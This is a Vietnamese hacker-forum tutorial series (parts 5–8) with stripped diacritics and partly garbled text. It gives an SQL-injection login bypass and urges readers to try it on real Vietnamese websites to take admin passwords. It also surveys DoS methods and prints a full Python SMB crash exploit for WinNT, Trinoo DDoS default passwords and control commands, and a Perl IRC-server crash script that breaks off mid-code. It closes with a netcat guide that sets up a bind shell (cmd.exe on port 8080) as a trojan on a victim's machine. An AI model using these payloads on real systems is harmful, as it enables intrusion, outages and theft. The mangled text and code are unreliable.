http://www.someserver.com/admentor/admin/admi%20n.asp

_ Bn th nhp ` or ``=` vo login v password :

CODE
Login : ` or ``=`
Password : ` or ``=`


_ Nu thnh cng bn s xm nhp vo Web b li vi vai tr l admin .
_ Ta hy tm hiu v cch fix li ny nh :
+ Lc cc k t c bit nh ` `` ~ \ bng cch chm vo javascrip on m sau :

CODE
function RemoveBad(strTemp)
{
strTemp = strTemp.replace(/\<|\ > |\``|\`|\%|\;|\(|\)|\&|\+|
\-/g,````);
return strTemp;
}

+ V gi n t bn trong ca asp script :

CODE
var login = var TempStr = RemoveBad
(Request.QueryString(``login``));
var password = var TempStr = RemoveBad
(Request.QueryString(``password``));


- Vy l ta fix xong li .
- Cc bn c th p dng cch hack ny cho cc trang Web khc c submit d liu , cc
bn hy test th xem i , cc trang Web Vit Nam mnh b nhiu lm , ti kim c
kha kh pass admin bng cch th ny ri ( nhng cng bo h fix li ) .
- C nhiu trang khi login khng phi bng ` or ``= m bng cc nick name c tht
ng k trn trang Web , ta vo link thnh vin kim nick ca mt admin test
th nh .
Hack vui v .


phn 6 ti s cp n kiu tn cng t chi dch v ( DoS attack ) , mt kiu tn
cng li hi lm cho trang Web hng mnh nh HVA ca chng ta b tt nghn ch
trong thI gian ngn cc admin bn i ung cafe ht m khng ai trng coi . Km theo
l cc phng php tn cng DoS v ang c s dng .

GOOKLUCK!!!!!!!!!!!!!!!!!!!!
Nhng hiu bit c bn nht tr thnh Hacker - Phn
6 [12/22/2004 10:04:00 AM]

38.) DoS attack l g? ( Denial Of Services Attack )

DoS attack ( dch l tn cng t chi dch v ) l kiu tn cng rt li hi , vi loi tn
cng ny , bn ch cn mt my tnh kt ni Internet l c th thc hin vic tn cng
c my tnh ca I phng . thc cht ca DoS attack l hacker s chim dng mt
lng ln ti nguyn trn server ( ti nguyn c th l bng thng, b nh, cpu, a
cng, ... ) lm cho server khng th no p ng cc yu cu t cc my ca ngui khc (
my ca nhng ngi dng bnh thng ) v server c th nhanh chng b ngng hot
ng, crash hoc reboot .


39.) Cc loi DoS attack hin ang c bit n v s dng :

a . ) Winnuke :

_DoS attack loi ny ch c th p dng cho cc my tnh ang chy Windows9x .
Hacker s gi cc gi tin vi d liu ``Out of Band`` n cng 139 ca my tnh ch.(
Cng 139 chnh l cng NetBIOS, cng ny ch chp nhn cc gi tin c c Out of Band
c bt ) . Khi my tnh ca victim nhn c gi tin ny, mt mn hnh xanh bo li s
c hin th ln vi nn nhn do chng trnh ca Windows nhn c cc gi tin ny
nhng n li khng bit phn ng vi cc d liu Out Of Band nh th no dn n h
thng s b crash .

b . ) Ping of Death :

_ kiu DoS attack ny , ta ch cn gi mt gi d liu c kch thc ln thng qua lnh
ping n my ch th h thng ca h s b treo .
_ VD : ping l 65000

c . ) Teardrop :

_ Nh ta bit , tt c cc d liu chuyn i trn mng t h thng ngun n h thng
ch u phi tri qua 2 qu trnh : d liu s c chia ra thnh cc mnh nh h thng
ngun, mi mnh u phi c mt gi tr offset nht nh xc nh v tr ca mnh
trong gi d liu c chuyn i. Khi cc mnh ny n h thng ch, h thng ch s
da vo gi tr offset sp xp cc mnh li vi nhau theo th t ng nh ban u .
Li dng s h , ta ch cn gi n h thng ch mt lot gi packets vi gi tr offset
chng cho ln nhau. H thng ch s khng th no sp xp li cc packets ny, n
khng iu khin c v c th b crash, reboot hoc ngng hot ng nu s lng gi
packets vi gi tr offset chng cho ln nhau qu ln !

d . ) SYN Attack :

_ Trong SYN Attack, hacker s gi n h thng ch mt lot SYN packets vi a ch
ip ngun khng c thc. H thng ch khi nhn c cc SYN packets ny s gi tr li
cc a ch khng c thc v ch I nhn thng tin phn hi t cc a ch ip gi .
V y l cc a ch ip khng c thc, nn h thng ch s s ch i v ch v cn a
cc ``request`` ch i ny vo b nh , gy lng ph mt lng ng k b nh trn my
ch m ng ra l phi dng vo vic khc thay cho phi ch i thng tin phn hi
khng c thc ny . Nu ta gi cng mt lc nhiu gi tin c a ch IP gi nh vy th h
thng s b qu ti dn n b crash hoc boot my tnh . == > nm du tay .

e . ) Land Attack :

_ Land Attack cng gn ging nh SYN Attack, nhng thay v dng cc a ch ip khng
c thc, hacker s dng chnh a ch ip ca h thng nn nhn. iu ny s to nn mt
vng lp v tn gia trong chnh h thng nn nhn , gia mt bn cn nhn thng tin
phn hi cn mt bn th chng bao gi gi thng tin phn hi i c . == > Gy ng
p lng ng .

f . ) Smurf Attack :

_Trong Smurf Attack, cn c ba thnh phn: hacker (ngi ra lnh tn cng), mng
khuch i (s nghe lnh ca hacker) v h thng ca nn nhn. Hacker s gi cc gi tin
ICMP n a ch broadcast ca mng khuch i. iu c bit l cc gi tin ICMP
packets ny c a ch ip ngun chnh l a ch ip ca nn nhn . Khi cc packets n
c a ch broadcast ca mng khuch i, cc my tnh trong mng khuch i s
tng rng my tnh nn nhn gi gi tin ICMP packets n v chng s ng lot gi
tr li h thng nn nhn cc gi tin phn hi ICMP packets. H thng my nn nhn s
khng chu ni mt khi lng khng l cc gi tin ny v nhanh chng b ngng hot
ng, crash hoc reboot. Nh vy, ch cn gi mt lng nh cc gi tin ICMP packets i
th h thng mng khuch i s khuch i lng gi tin ICMP packets ny ln gp bI .
T l khuch i ph thuc vo s mng tnh c trong mng khuch I . Nhim v ca
cc hacker l c chim c cng nhiu h thng mng hoc routers cho php chuyn
trc tip cc gi tin n a ch broadcast khng qua ch lc a ch ngun cc u ra
ca gi tin . C c cc h thng ny, hacker s d dng tin hnh Smurf Attack trn
cc h thng cn tn cng . == > mt my lm chng si nh , chc my chm li ta nh
cho thua .

g . ) UDP Flooding :

_ Cch tn cng UDP i hi phi c 2 h thng my cng tham gia. Hackers s lm cho
h thng ca mnh i vo mt vng lp trao i cc d liu qua giao thc UDP. V gi
mo a ch ip ca cc gi tin l a ch loopback ( 127.0.0.1 ) , ri gi gi tin ny n h
thng ca nn nhn trn cng UDP echo ( 7 ). H thng ca nn nhn s tr li li cc
messages do 127.0.0.1( chnh n ) gi n , kt qu l n s i vng mt vng lp v tn.
Tuy nhin, c nhiu h thng khng cho dng a ch loopback nn hacker s gi mo
mt a ch ip ca mt my tnh no trn mng nn nhn v tin hnh ngp lt UDP
trn h thng ca nn nhn . Nu bn lm cch ny khng thnh cng th chnh my ca
bn s b y .

h . ) Tn cng DNS :

_ Hacker c th i mt li vo trn Domain Name Server ca h thng nn nhn ri cho
ch n mt website no ca hacker. Khi my khch yu cu DNS phn tch a ch b
xm nhp thnh a ch ip, lp tc DNS ( b hacker thay i cache tm thI ) s i
thnh a ch ip m hacker cho ch n . Kt qu l thay v phi vo trang Web
mun vo th cc nn nhn s vo trang Web do chnh hacker to ra . Mt cch tn cng
t chi dch v tht hu hiu !.

g . ) Distributed DoS Attacks ( DDos ) :

_ DDoS yu cu phi c t nht vi hackers cng tham gia. u tin cc hackers s c
thm nhp vo cc mng my tnh c bo mt km, sau ci ln cc h thng ny
chng trnh DDoS server. By gi cc hackers s hn nhau n thi gian nh s
dng DDoS client kt ni n cc DDoS servers, sau ng lot ra lnh cho cc DDoS
servers ny tin hnh tn cng DDoS n h thng nn nhn .

h . ) DRDoS ( The Distributed Reflection Denial of Service Attack ) :

_ y c l l kiu tn cng li hi nht v lm boot my tnh ca i phng nhanh gn
nht . Cch lm th cng tng t nh DDos nhng thay v tn cng bng nhiu my tnh
th ngI tn cng ch cn dng mt my tn cng thng qua cc server ln trn th gii .
Vn vi phng php gi mo a ch IP ca victim , k tn cng s gi cc gi tin n
cc server mnh nht , nhanh nht v c ng truyn rng nht nh Yahoo .v.v , cc
server ny s phn hi cc gi tin n a ch ca victim . Vic cng mt lc nhn
c nhiu gi tin thng qua cc server ln ny s nhanh chng lm nghn ng truyn
ca my tnh nn nhn v lm crash , reboot my tnh . Cch tn cng ny li hi
ch ch cn mt my c kt ni Internet n gin vi ng truyn bnh thng cng c
th nh bt c h thng c ng truyn tt nht th giI nu nh ta khng kp ngn
chn . Trang Web HVA ca chng ta cng b DoS va ri bi cch tn cng ny y .

40 . ) K thut DoS Web bng Python :

_ K thut ny ch c th s dng duy nht trn WinNT , v bn cn phi c thi gian th
my tnh ca nn nhn mi b down c .
_ Bn hy download Pyphon ti http://www.python.org/ s dng .
_ Bn hy save on m sau ln file rfpoison.py .

CODE
import string
import struct
from socket import *
import sys
def a2b(s):
bytes = map(lambda x: string.atoi(x, 16),
string.split(s))
data = string.join(map(chr, bytes), ``)
return data
def b2a(s):
bytes = map(lambda x: `%.2x` % x, map(ord, s))
return string.join(bytes, ` `)

# Yu cu tp hp NBSS
nbss_session = a2b(``````
81 00 00 48 20 43 4b 46 44 45
4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43
41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45
42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46
43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00
00 00
``````)

# To SMB
crud = (
# Yu cu SMBnegprot
``````
ff 53 4d 42 72 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43
20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d
20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20
4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d
49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b
53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30
00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d
62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e
30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00
``````,
# Yu cu setup SMB X
``````
ff 53 4d 42 73 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff
ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00
00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f
55 50 00 55 6e 69 78 00 53 61 6d 62 61 00
``````,
# Yu cu SMBtconX
``````
ff 53 4d 42 75 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00
00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56
45 52 5c 49 50 43 24 00 49 50 43 00
``````,
# Yu cu khI to SMBnt X
``````
ff 53 4d 42 a2 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00
07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00
00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00
00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72
76 73 76 63 00
``````,
# yu cu bin dch SMB
``````
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00
00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49
50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00
00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00
00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78
5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c
c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00
``````,
# SMBtrans Request
``````
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00
00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49
50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00
00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00
00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00
5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00
56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00
00 00 00 00 00 00 ff ff ff ff 00 00 00 00
``````
)
crud = map(a2b, crud)
def smb_send(sock, data, type=0, flags=0):
d = struct.pack(`!BBH`, type, flags, len(data))
#print `send:`, b2a(d+data)
sock.send(d+data)
def smb_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
type, flags, length = struct.unpack(`!BBH`, s)
data = sock.recv(length)
assert(len(data) == length)
#print `recv:`, b2a(s+data)
return type, flags, data
def nbss_send(sock, data):
sock.send(data)
def nbss_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
return s
def main(host, port=139):
s = socket(AF_INET, SOCK_STREAM)
s.connect(host, port)
nbss_send(s, nbss_session)
nbss_recv(s)
for msg in crud[:-1]:
smb_send(s, msg)
smb_recv(s)
smb_send(s, crud[-1]) # no response to this
s.close()
if __name__ == `__main__`:
print `Sending poison...`,
main(sys.argv[1])
print `done.`


c th lm down c server ca i phng bn cn phi c thi gian DoS , nu
khng c iu kin ch i tt nht bn khng nn s dng cch ny . Nhng vc th
cho bit th c ng khng ?

41 . ) Tn cng DDoS thng qua Trinoo :

_ Bn bit DDoS attack l g ri phi khng ? Mt cuc tn cng DDoS bng Trinoo
c thc hin bi mt kt ni ca Hacker Trinoo Master v ch dn cho Master pht
ng mt cuc tn cng DDoS n mt hay nhiu mc tiu. Trinoo Master s lin lc vi
nhng Deadmons a nhng a ch c dn n tn cng mt hay nhiu mc tiu
trong khong thi gian xc nh .
_ C Master v Deamon u c bo v bng Passwd . ch khi chng ta bit passwd th
mi c th iu khin c chng , iu ny khng c g kh khn nu chng ta l ch
nhn thc s ca chng . Nhng passwd ny thng c m ho v bn c th thit lp
khi bin dch Trinoo t Source ----- > Binnary. Khi c chy , Deadmons s hin ra mt
du nhc v ch passwd nhp vo , nu passwd nhp sai n s t ng thot cn nu
passwd c nhp ng th n s t ng chy trn nn ca h thng .

attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is `^]`.
kwijibo
Connection closed by foreign host. < == Bn nhp sai


attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is `^]`.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo > < == bn vo c h thng trinoo

_ y l vi passwd mc nh :

l44adsl``: pass ca trinoo daemon .
``gorave``: passwd ca trinoo master server khi startup .
``betaalmostdone``: passwd iu khin t xa chung cho trinoo master .
``killme``: passwd trinoo master iu khin lnh ``mdie`` .

_ y l mt s lnh dng iu khin Master Server:


CODE
die------------------------------------------------ ------------Shutdown.
quit----------------------------------------------- -------------Log off.
mtimer N-------------------------------------------------- --t thI gian tn cng DoS , vI
N nhn gi tr t 1-- > 1999 giy .
dos IP------------------------------------------------- ------Tn cng n mt a ch IP xc
nh .
mdie pass----------------------------------------------- ----V hiu ho tt c cc Broadcast ,
nu nh passwd chnh xc . Mt lnh c gi ti (``d1e l44adsl``) Broadcast
Shutdown chng . Mt passwd ring bit s c t cho mc ny
mping---------------------------------------------- ----------Gi mt lnh ping ti (``png
l44adsl``) cc Broadcast.
mdos ------------------------------------------Send nhiu lnh DOS (``xyz l44adsl
123:ip1:ip2``) n cc Broadcast.
info----------------------------------------------- --------------Hin th thng tin v Trinoo .
msize---------------------------------------------- ------------t kch thc m cho nhng gi
tin c send i trong sut thI gian DoS.
nslookup host----------------------------------------------X c nh tn thit b ca Host m
Master Trinoo ang chy .
usebackup------------------------------------------ ---------Chuyn tI cc file Broadcast sao
lu c to bi lnh killdead.
bcast---------------------------------------------- -------------Lit k danh sch tt c cc
Broadcast c th khai thc .
help [cmd] --------------------------------------------------- a ra danh sch cc lnh .
mstop---------------------------------------------- -------------Ngng li cc cuc tn cng DOS
.


_ y l mt s lnh dng iu khin Trinoo Deadmons:

CODE
aaa pass IP------------------------------------------------- ---Tn cng n a ch IP xc
nh . GI gi tin UDP (0-65534) n cng ca UDP ca a ch IP xc nh trong mt
khong thi gian xc nh c mc nh l 120s hay t 1-- > 1999 s .
bbb pass N-------------------------------------------------- ---t thI gian gii hn cho cc
cuc tn cng DOS .
Shi pass----------------------------------------------- ---------Gi chui *HELLO* ti dnh
sch Master Server c bin dch trong chng trnh trn cng 31335/UDP.
png pass----------------------------------------------- --------Send chui Pong tI Master
Server pht hnh cc lnh iu khin trn cng 31335/UDP.
die pass----------------------------------------------- ---------Shutdown Trinoo.
rsz N-------------------------------------------------- ----------L kch thc ca b m c
dng tn cng , n c tnh bng byte .
xyz pass 123:ip1:ip3---------------------------------------- tn cng DOS nhiu mc tiu cng
lc .


( Da theo hng dn ca huynh Binhnx2000 )
Cn nhiu on m v cch ng dng DoS lm , cc bn chu kh tm hiu thm nh .
Nhng ng tn cng lung tung , nht l server ca HVA , coi chng khng thu c
hiu qu m cn b lock nick na

Ht phn 6 - Anhdenday
Nhng hiu bit c bn nht tr thnh Hacker - Phn
7 [12/22/2004 10:10:00 AM]

42 . ) K thut n cng DoS vo WircSrv Irc Server v5.07 :

WircSrv IRC l mt Server IRC thng dng trn Internet ,n s b Crash nu nh b cc
Hacker gi mt Packet ln hn gi tr ( 65000 k t ) cho php n Port 6667.
Bn c th thc hin vic ny bng cch Telnet n WircSrv trn Port 6667:


Nu bn dng Unix:

[hellme@die-communitech.net$ telnet irc.example.com 6667
Trying example.com...
Connected to example.com.
Escape character is `^]`.
[buffer]

Windows cng tng t:

telnet irc.example.com 6667

Lu : [buffer] l Packet d liu tng ng vi 65000 k t .
Tuy nhin , chng ta s crash n rt n gin bng on m sau ( Cc bn hy nhn vo
on m v t mnh gii m nhng cu lnh trong , cng l mt trong nhng cch
tp luyn cho s phn x ca cc hacker khi h nghin cu . No , chng ta hy phn tch
n mt cch cn bn ):

CODE
#!/usr/bin/perl #< == on m ny cho ta bit l dng cho cc lnh trong perl
use Getopt::Std;
use Socket;
getopts(`s:`, \%args);
if(!defined($args{s})){&usage;}
my($serv,$port,$foo,$number,$data,$buf,$in_addr,$pa ddr,$proto);
$foo = ``A``; # y l NOP
$number = ``65000``; # y l tt c s NOP
$data .= $foo x $number; # kt qu ca $foo times $number
$serv = $args{s}; # lnh iu khin server t xa
$port = 6667; # lnh iu khin cng t xa , n c mc nh l 6667
$buf = ``$data``;
$in_addr = (gethostbyname($serv))[4]
Nhng hiu bit c bn nht tr thnh Hacker - Phn
8 [2/17/2005 9:14:00 AM]

47.) Cc cng c cn thit hack Web :

i vi cc hacker chuyn nghip th h s khng cn s dng nhng cng c ny m h
s trc tip setup phin bn m trang Web nn nhn s dng trn my ca mnh test
li . Nhng i vi cc bn mi vo ngh th nhng cng c ny rt cn thit , hy s
dng chng mt vi ln bn s bit cch phi hp chng vic tm ra li trn cc trang
Web nn nhn c nhanh chng nht . Sau y l mt s cng c bn cn phi c trn
my lm n ca mnh :

Cng c th 1 : Mt ci proxy dng che du IP v vt tng la khi cn ( Cch to
1 ci Proxy ti by phn 7 , cc bn hy xem li nh ) .
Cng c th 2 : Bn cn c 1 shell account, ci ny thc s quan trng i vi bn . Mt
shell account tt l 1 shell account cho php bn chy cc chng trnh chnh nh
nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...v shell account cn phi ci
chng trnh GCC ( rt quan trng trong vic dch (compile) cc exploit c vit bng
C) nh MinGW, Cygwin v cc dev tools khc.
Shell account gn ging vi DOS shell,nhng n c nhiu cu lnh v chc nng hn
DOS . Thng thng khi bn ci Unix th bn s c 1 shell account, nu bn khng ci
Unix th bn nn ng k trn mng 1 shell account free hoc nu c ai ci Unix v
thit lp cho bn 1 shell account th bn c th log vo telnet (Start -- > Run -- > g
Telnet) dng shell account . Sau y l 1 s a ch bn c th ng k free shell
account :
http://www.freedomshell.com/
http://www.cyberspace.org/shell.html
http://www.ultrashell.net/
_Cng c th 3 : NMAP l Cng c qut cc nhanh v mnh. C th qut trn mng din
rng v c bit tt i vi mng n l. NMAP gip bn xem nhng dch v no ang
chy trn server (services / ports : webserver , ftpserver , pop3,...),server ang dng h
iu hnh g,loi tng la m server s dng,...v rt nhiu tnh nng khc.Ni chung
NMAP h tr hu ht cc k thut qut nh : ICMP (ping aweep),IP protocol , Null scan
, TCP SYN (half open),... NMAP c nh gi l cng c hng u ca cc Hacker
cng nh cc nh qun tr mng trn th gii.
Mi thng tin v NMAP bn tham kho ti http://www.insecure.org/ .
_ Cng c th 4 : Stealth HTTP Security Scanner l cng c qut li bo mt tuyt vi
trn Win32. N c th qut c hn 13000 li bo mt v nhn din c 5000 exploits
khc.
_ Cng c th 5 : IntelliTamper l cng c hin th cu trc ca mt Website gm nhng
th mc v file no, n c th lit k c c th mc v file c set password. Rt tin
cho vic Hack Website v trc khi bn Hack mt Website th bn phi nm mt s thng
tin ca Admin v Website .
_ Cng c th 6 : Netcat l cng c c v ghi d liu qua mng thng qua giao thc
TCP hoc UDP. Bn c th dng Netcat 1 cch trc tip hoc s dng chng trnh script
khc iu khin Netcat. Netcat c coi nh 1 exploitation tool do n c th to c
lin kt gia bn v server cho vic c v ghi d liu ( tt nhin l khi Netcat c
ci trn 1 server b lI ). Mi thng tin v Netcat bn c th tham kho ti
http://www.l0pht.com/ .
_ Cng c th 7 : Active Perl l cng c c cc file Perl ui *.pl v cc exploit thng
c vit bng Perl . N cn c s dng thi hnh cc lnh thng qua cc file *.pl .
_ Cng c th 8 : Linux l h iu hnh hu ht cc hacker u s dng.
_ Cng c th 9 : L0phtCrack l cng c s mt Crack Password ca Windows
NT/2000 .
_ Cch Download ti by ri nn khng ni y , cc bn khi Download nh ch
n cc phin bn ca chng , phin bn no c s ln nht th cc bn hy Down v m
si v n s c thm mt s tnh nng m cc phin bn trc cha c . Nu down v m
cc bn khng bit s dng th tm li cc bi vit c c hng dn bn Box ngh .
Nu vn khng thy th c post bi hi , cc bn bn s tr li cho bn .

48 . ) Hng dn s dng Netcat :

a . ) Gii thiu : Netcat l mt cng c khng th thiu c nu bn mun hack mt
website no v n rt mnh v tin dng . Do bn cn bit mt cht v Netcat .
b . ) Bin dch :
_ i vi bn Netcat cho Linux, bn phi bin dch n trc khi s dng.
- hiu chnh file netcat.c bng vi: vi netcat.c
+ tm dng res_init(); trong main() v thm vo trc 2 du ``/``: // res_init();
+ thm 2 dng sau vo phn #define (nm u file):

#define GAPING_SECURITY_HOLE
#define TELNET

- bin dch: make linux
- chy th: ./nc -h
- nu bn mun chy Netcat bng nc thay cho ./nc, bn ch cn hiu chnh li bin mi
trng PATH trong file ~/.bashrc, thm vo ``:.``
PATH=/sbin:/usr/sbin:...:.
_ Bn Netcat cho Win khng cn phi compile v c sn file nh phn nc.exe. Ch vy
gii nn v chy l xong.
c . ) Cc ty chn ca Netcat :
_ Netcat chy ch dng lnh. Bn chy nc -h bit cc tham s:

CODE
C: > nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d ----------- tch Netcat khi ca s lnh hay l console, Netcat s chy ch
steath(khng hin th trn thanh Taskbar)
-e prog --- thi hnh chng trnh prog, thng dng trong ch lng nghe
-h ----------- gi hng dn
-i secs ----- tr hon secs mili giy trc khi gi mt dng d liu i
-l ------------- t Netcat vo ch lng nghe ch cc kt ni n
-L ------------ buc Netcat ``c`` lng nghe. N s lng nghe tr li sau mi khi ngt mt
kt ni.
-n ------------ ch dng a ch IP dng s, chng hn nh 192.168.16.7, Netcat s khng
thm vn DNS
-o ------------ file ghi nht k vo file
-p port ----- ch nh cng port
-r yu cu Netcat chn cng ngu nhin(random)
-s addr ----- gi mo a ch IP ngun l addr
-t ------------- khng gi cc thng tin ph i trong mt phin telnet. Khi bn telnet n
mt telnet daemon(telnetd), telnetd thng yu cu trnh telnet client ca bn gi n cc
thng tin ph nh bin mi trng TERM, USER. Nu bn s dng netcat vi ty chn -t
telnet, netcat s khng gi cc thng tin ny n telnetd.
-u ------------- dng UDP(mc nh netcat dng TCP)
-v ------------- hin th chi tit cc thng tin v kt ni hin ti.
-vv ----------- s hin th thng tin chi tit hn na.
-w secs ---- t thi gian timeout cho mi kt ni l secs mili giy
-z ------------- ch zero I/O, thng c s dng khi scan port


Netcat h tr phm vi cho s hiu cng. C php l cng1-cng2. V d: 1-8080 ngha l
1,2,3,..,8080

d . ) Tm hiu Netcat qua cc VD :

_ Chp banner ca web server :

V d: nc n 172.16.84.2, cng 80

CODE
C: > nc 172.16.84.2 80
HEAD / HTTP/1.0 (ti y bn g Enter 2 ln)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html


bit thng tin chi tit v kt ni, bn c th dng v ( -vv s
cho bit cc thng tin chi tit hn na)

C: > nc -vv 172.16.84.1 80

CODE
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: ``0-cec-3899eaea``
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK


Nu mun ghi nht k, hy dng -o . V d:

nc -vv -o nhat_ki.log 172.16.84.2 80

xem file nhat_ki.log xem th n ghi nhng g nh :

CODE
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: ``0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea``..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....


du < ngha l server gi n netcat
du > ngha l netcat gi n server

_ Qut cng :
Bn hy chy netcat vi ty chn z . Nhng qut cng nhanh hn, bn hy dng -n v
netcat s khng cn thm vn DNS. V d scan cc cng TCP(1- > 500) ca host
172.16.106.1

CODE
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open


nu bn cn scan cc cng UDP, dng -u

CODE
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open


_ Bin Netcat thnh mt trojan :
Trn my tnh ca nn nhn, bn khi ng netcat vo ch lng nghe, dng ty chn
l ( listen ) v -p port xc nh s hiu cng cn lng nghe, -e yu cu netcat thi hnh
1 chng trnh khi c 1 kt ni n, thng l shell lnh cmd.exe ( i vi NT) hoc
/bin/sh(i vi Unix). V d:

CODE
E: > nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error


Trn my tnh dng tn cng, bn ch vic dng netcat ni n my nn nhn trn
cng nh, chng hn nh 8080

CODE
C: > nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E: > cd test
cd test
E: est > dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E: est
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C: est > exit
exit
sent 20, rcvd 450: NOTSOCK


Nh cc bn thy , ta c th lm nhng g trn my ca nn nhn ri , ch cn mt s
lnh c bn , ta chim c my tnh ca i phng , cc bn hy xem tip nh :

CODE
E: > nc -nvv -L -p 8080 -e cmd.exe
